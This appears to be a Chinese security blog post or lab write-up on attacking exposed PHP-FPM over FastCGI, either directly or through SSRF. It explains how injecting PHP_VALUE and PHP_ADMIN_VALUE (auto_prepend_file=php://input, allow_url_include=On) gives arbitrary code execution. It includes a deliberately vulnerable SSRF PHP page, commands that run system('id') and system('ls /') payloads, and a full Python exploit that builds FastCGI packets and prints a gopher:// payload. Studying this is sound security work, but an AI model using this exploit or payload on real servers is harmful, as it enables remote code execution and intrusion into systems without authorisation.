环境搭建

环境搭建请看另一篇文章

php-fpm

在前面我们也看到了PHP-FPM这个东西,那这个PHP-FPM到底是什么呢?

官方对PHP-FPM的解释是 FastCGI 进程管理器,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。PHP-FPM 默认监听的端口是 9000 端口。

也就是说 PHP-FPM 是 FastCGI 的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了 master 和 worker 进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器中间件进行通信,接收服务器中间按照 FastCGI 的规则打包好的用户请求,再将请求转发给 worker 进程进行处理。worker 进程主要负责后端动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。

举个例子,当用户访问 http://127.0.0.1/index.php?a=1&b=2 时,如果 Web 目录是 /var/www/html,那么 Web 服务器中间件(如 Nginx)会将这个请求变成如下 key-value 对:

  1. {
  2. 'GATEWAY_INTERFACE': 'FastCGI/1.0',
  3. 'REQUEST_METHOD': 'GET',
  4. 'SCRIPT_FILENAME': '/var/www/html/index.php',
  5. 'SCRIPT_NAME': '/index.php',
  6. 'QUERY_STRING': '?a=1&b=2',
  7. 'REQUEST_URI': '/index.php?a=1&b=2',
  8. 'DOCUMENT_ROOT': '/var/www/html',
  9. 'SERVER_SOFTWARE': 'php/fcgiclient',
  10. 'REMOTE_ADDR': '127.0.0.1',
  11. 'REMOTE_PORT': '12345',
  12. 'SERVER_ADDR': '127.0.0.1',
  13. 'SERVER_PORT': '80',
  14. 'SERVER_NAME': "localhost",
  15. 'SERVER_PROTOCOL': 'HTTP/1.1'
  16. }

这个数组其实就是 PHP 中 $_SERVER 数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充 $_SERVER 数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。

PHP-FPM 拿到 Fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行 SCRIPT_FILENAME 的值指向的PHP文件,也就是 /var/www/html/index.php。但如果我们能够控制 SCRIPT_FILENAME 的值,不就可以让 PHP-FPM 执行服务器上任意的 PHP 文件了吗。写到这里,PHP-FPM 未授权访问漏洞差不多也就呼之欲出了。

PHP-FPM 任意代码执行

前文我们讲到, Web 服务器中间件会将用户请求设置成环境变量,并且会出现一个 'SCRIPT_FILENAME': '/var/www/html/index.php' 这样的键值对,它的意思是 PHP-FPM 会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制 PHP-FPM 去执行某个已经存在的文件,不能够实现一些恶意代码的执行。并且在 PHP 5.3.9 后来的版本中,PHP 增加了 security.limit_extensions 安全选项,导致只能控制 PHP-FPM 执行一些像 php、php3、php4、php5、php7 这样的文件,因此你必须找到一个已经存在的 PHP 文件,这也增大了攻击的难度。

但是好在强大的 PHP 中有两个有趣的配置项:

  • auto_prepend_file:告诉PHP,在执行目标文件之前,先包含 auto_prepend_file 中指定的文件。
  • auto_append_file:告诉PHP,在执行完成目标文件后,再包含 auto_append_file 指向的文件。

那么就有趣了,假设我们设置 auto_prepend_filephp://input,那么就等于在执行任何 PHP 文件前都要包含一遍 POST 的内容。所以,我们只需要把需要执行的代码放在 Body 中,他们就能被执行了。(当然,这还需要开启远程文件包含选项 allow_url_include

那么,我们怎么设置 auto_prepend_file 的值?

这就又涉及到 PHP-FPM 的两个环境变量,PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置 PHP 配置项的,PHP_VALUE 可以设置模式为 PHP_INI_USERPHP_INI_ALL 的选项,PHP_ADMIN_VALUE 可以设置所有选项。

所以,我们最后传入的就是如下的环境变量:

  1. {
  2. 'GATEWAY_INTERFACE': 'FastCGI/1.0',
  3. 'REQUEST_METHOD': 'GET',
  4. 'SCRIPT_FILENAME': '/var/www/html/index.php',
  5. 'SCRIPT_NAME': '/index.php',
  6. 'QUERY_STRING': '?a=1&b=2',
  7. 'REQUEST_URI': '/index.php?a=1&b=2',
  8. 'DOCUMENT_ROOT': '/var/www/html',
  9. 'SERVER_SOFTWARE': 'php/fcgiclient',
  10. 'REMOTE_ADDR': '127.0.0.1',
  11. 'REMOTE_PORT': '12345',
  12. 'SERVER_ADDR': '127.0.0.1',
  13. 'SERVER_PORT': '80',
  14. 'SERVER_NAME': "localhost",
  15. 'SERVER_PROTOCOL': 'HTTP/1.1'
  16. 'PHP_VALUE': 'auto_prepend_file = php://input',
  17. 'PHP_ADMIN_VALUE': 'allow_url_include = On'
  18. }

设置 auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在 Body 中,即可执行任意代码。

PHP-FPM 未授权访问漏洞

前文我们讲到,攻击者可以通过 PHP_VALUEPHP_ADMIN_VALUE 这两个环境变量设置 PHP 配置选项 auto_prepend_fileallow_url_include ,从而使 PHP-FPM 执行我们提供的任意代码,造成任意代码执行。除此之外,由于 PHP-FPM 和 Web 服务器中间件是通过网络进行沟通的,因此目前越来越多的集群将 PHP-FPM 直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成Web服务器中间件来让 PHP-FPM 执行我们想执行的恶意代码。这就造成了 PHP-FPM 的未授权访问漏洞。

用P神的fpm.py

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

php-fpm未授权访问攻击 - 图1

SSRF 中对 FPM/FastCGI 的攻击

有时候 PHP-FPM 也并不会执行绑定在 0.0.0.0 上面,而是 127.0.0.1,这样便避免了将 PHP-FPM 暴露在公网上被攻击者访问,但是如果目标主机上存在 SSRF 漏洞的话,我们便可以通过 SSRF 漏洞攻击内网的 PHP-FPM 。

打开 /etc/php/7.4/fpm/pool.d/www.conf

php-fpm未授权访问攻击 - 图2

我们绑定在127.0.0.1上,不暴露在公网。

重启nginxservice nginx reload

  1. ps -elf | grep php-fpm

php-fpm未授权访问攻击 - 图3

然后kill杀掉进程。再重新启动/usr/sbin/php-fpm7.4

此时外网已经不能打通,内网可以

php-fpm未授权访问攻击 - 图4

php-fpm未授权访问攻击 - 图5

我们写一个ssrf的点

  1. <?php
  2. highlight_file(__FILE__);
  3. $url = $_GET['url'];
  4. $curl = curl_init($url);
  5. //第二种初始化curl的方式
  6. //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);
  7. /*进行curl配置*/
  8. curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
  9. $responseText = curl_exec($curl);
  10. //var_dump(curl_error($curl) ); // 如果执行curl过程中出现异常,可打开此开关,以便查看异常内容
  11. echo $responseText;
  12. curl_close($curl);
  13. ?>

此时发现curl不生效,发现是没装curl拓展

  1. apt-get -y install php7.4-curl

然后重启php-fpm

  1. pkill php-fpm
  2. /usr/sbin/php-fpm7.4

php-fpm未授权访问攻击 - 图6

监听一下,然后把流量打到1234端口

  1. python fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('id'); exit(); ?>" -p 1234

php-fpm未授权访问攻击 - 图7

拿到流量转换为gopher的形式。然后打一下就行了。我这个环境没成功,url一场就curl不过去。不知道是什么原因。

参考https://www.mi1k7ea.com/2019/08/25/%E6%B5%85%E8%B0%88PHP-FPM%E5%AE%89%E5%85%A8/#0x05-SSRF%E6%94%BB%E5%87%BB%E6%9C%AC%E5%9C%B0PHP-FPM

这篇里有一个p神脚本修改,用于生成gopher的

py -2 fpm.py -c "<?php system('ls /'); exit(); ?>" -p 9000 127.0.0.1 /var/www/html/index.php

  1. import socket
  2. import base64
  3. import random
  4. import argparse
  5. import sys
  6. from io import BytesIO
  7. import urllib
  8. # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
  9. PY2 = True if sys.version_info.major == 2 else False
  10. def bchr(i):
  11. if PY2:
  12. return force_bytes(chr(i))
  13. else:
  14. return bytes([i])
  15. def bord(c):
  16. if isinstance(c, int):
  17. return c
  18. else:
  19. return ord(c)
  20. def force_bytes(s):
  21. if isinstance(s, bytes):
  22. return s
  23. else:
  24. return s.encode('utf-8', 'strict')
  25. def force_text(s):
  26. if issubclass(type(s), str):
  27. return s
  28. if isinstance(s, bytes):
  29. s = str(s, 'utf-8', 'strict')
  30. else:
  31. s = str(s)
  32. return s
  33. class FastCGIClient:
  34. """A Fast-CGI Client for Python"""
  35. # private
  36. __FCGI_VERSION = 1
  37. __FCGI_ROLE_RESPONDER = 1
  38. __FCGI_ROLE_AUTHORIZER = 2
  39. __FCGI_ROLE_FILTER = 3
  40. __FCGI_TYPE_BEGIN = 1
  41. __FCGI_TYPE_ABORT = 2
  42. __FCGI_TYPE_END = 3
  43. __FCGI_TYPE_PARAMS = 4
  44. __FCGI_TYPE_STDIN = 5
  45. __FCGI_TYPE_STDOUT = 6
  46. __FCGI_TYPE_STDERR = 7
  47. __FCGI_TYPE_DATA = 8
  48. __FCGI_TYPE_GETVALUES = 9
  49. __FCGI_TYPE_GETVALUES_RESULT = 10
  50. __FCGI_TYPE_UNKOWNTYPE = 11
  51. __FCGI_HEADER_SIZE = 8
  52. # request state
  53. FCGI_STATE_SEND = 1
  54. FCGI_STATE_ERROR = 2
  55. FCGI_STATE_SUCCESS = 3
  56. def __init__(self, host, port, timeout, keepalive):
  57. self.host = host
  58. self.port = port
  59. self.timeout = timeout
  60. if keepalive:
  61. self.keepalive = 1
  62. else:
  63. self.keepalive = 0
  64. self.sock = None
  65. self.requests = dict()
  66. def __connect(self):
  67. self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  68. self.sock.settimeout(self.timeout)
  69. self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  70. # if self.keepalive:
  71. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
  72. # else:
  73. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
  74. try:
  75. self.sock.connect((self.host, int(self.port)))
  76. except socket.error as msg:
  77. self.sock.close()
  78. self.sock = None
  79. print(repr(msg))
  80. return False
  81. return True
  82. def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
  83. length = len(content)
  84. buf = bchr(FastCGIClient.__FCGI_VERSION) \
  85. + bchr(fcgi_type) \
  86. + bchr((requestid >> 8) & 0xFF) \
  87. + bchr(requestid & 0xFF) \
  88. + bchr((length >> 8) & 0xFF) \
  89. + bchr(length & 0xFF) \
  90. + bchr(0) \
  91. + bchr(0) \
  92. + content
  93. return buf
  94. def __encodeNameValueParams(self, name, value):
  95. nLen = len(name)
  96. vLen = len(value)
  97. record = b''
  98. if nLen < 128:
  99. record += bchr(nLen)
  100. else:
  101. record += bchr((nLen >> 24) | 0x80) \
  102. + bchr((nLen >> 16) & 0xFF) \
  103. + bchr((nLen >> 8) & 0xFF) \
  104. + bchr(nLen & 0xFF)
  105. if vLen < 128:
  106. record += bchr(vLen)
  107. else:
  108. record += bchr((vLen >> 24) | 0x80) \
  109. + bchr((vLen >> 16) & 0xFF) \
  110. + bchr((vLen >> 8) & 0xFF) \
  111. + bchr(vLen & 0xFF)
  112. return record + name + value
  113. def __decodeFastCGIHeader(self, stream):
  114. header = dict()
  115. header['version'] = bord(stream[0])
  116. header['type'] = bord(stream[1])
  117. header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
  118. header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
  119. header['paddingLength'] = bord(stream[6])
  120. header['reserved'] = bord(stream[7])
  121. return header
  122. def __decodeFastCGIRecord(self, buffer):
  123. header = buffer.read(int(self.__FCGI_HEADER_SIZE))
  124. if not header:
  125. return False
  126. else:
  127. record = self.__decodeFastCGIHeader(header)
  128. record['content'] = b''
  129. if 'contentLength' in record.keys():
  130. contentLength = int(record['contentLength'])
  131. record['content'] += buffer.read(contentLength)
  132. if 'paddingLength' in record.keys():
  133. skiped = buffer.read(int(record['paddingLength']))
  134. return record
  135. def request(self, nameValuePairs={}, post=''):
  136. # if not self.__connect():
  137. # print('connect failure! please check your fasctcgi-server !!')
  138. # return
  139. requestId = random.randint(1, (1 << 16) - 1)
  140. self.requests[requestId] = dict()
  141. request = b""
  142. beginFCGIRecordContent = bchr(0) \
  143. + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
  144. + bchr(self.keepalive) \
  145. + bchr(0) * 5
  146. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
  147. beginFCGIRecordContent, requestId)
  148. paramsRecord = b''
  149. if nameValuePairs:
  150. for (name, value) in nameValuePairs.items():
  151. name = force_bytes(name)
  152. value = force_bytes(value)
  153. paramsRecord += self.__encodeNameValueParams(name, value)
  154. if paramsRecord:
  155. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
  156. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
  157. if post:
  158. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
  159. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
  160. #print base64.b64encode(request)
  161. return request
  162. # self.sock.send(request)
  163. # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
  164. # self.requests[requestId]['response'] = b''
  165. # return self.__waitForResponse(requestId)
  166. def __waitForResponse(self, requestId):
  167. data = b''
  168. while True:
  169. buf = self.sock.recv(512)
  170. if not len(buf):
  171. break
  172. data += buf
  173. data = BytesIO(data)
  174. while True:
  175. response = self.__decodeFastCGIRecord(data)
  176. if not response:
  177. break
  178. if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
  179. or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  180. if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  181. self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
  182. if requestId == int(response['requestId']):
  183. self.requests[requestId]['response'] += response['content']
  184. if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
  185. self.requests[requestId]
  186. return self.requests[requestId]['response']
  187. def __repr__(self):
  188. return "fastcgi connect host:{} port:{}".format(self.host, self.port)
  189. if __name__ == '__main__':
  190. parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
  191. parser.add_argument('host', help='Target host, such as 127.0.0.1')
  192. parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
  193. parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
  194. parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
  195. args = parser.parse_args()
  196. client = FastCGIClient(args.host, args.port, 3, 0)
  197. params = dict()
  198. documentRoot = "/"
  199. uri = args.file
  200. content = args.code
  201. params = {
  202. 'GATEWAY_INTERFACE': 'FastCGI/1.0',
  203. 'REQUEST_METHOD': 'POST',
  204. 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
  205. 'SCRIPT_NAME': uri,
  206. 'QUERY_STRING': '',
  207. 'REQUEST_URI': uri,
  208. 'DOCUMENT_ROOT': documentRoot,
  209. 'SERVER_SOFTWARE': 'php/fcgiclient',
  210. 'REMOTE_ADDR': '127.0.0.1',
  211. 'REMOTE_PORT': '9985',
  212. 'SERVER_ADDR': '127.0.0.1',
  213. 'SERVER_PORT': '80',
  214. 'SERVER_NAME': "localhost",
  215. 'SERVER_PROTOCOL': 'HTTP/1.1',
  216. 'CONTENT_TYPE': 'application/text',
  217. 'CONTENT_LENGTH': "%d" % len(content),
  218. 'PHP_VALUE': 'auto_prepend_file = php://input',
  219. 'PHP_ADMIN_VALUE': 'allow_url_include = On'
  220. }
  221. response = client.request(params, content)
  222. response = urllib.quote(response)
  223. print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)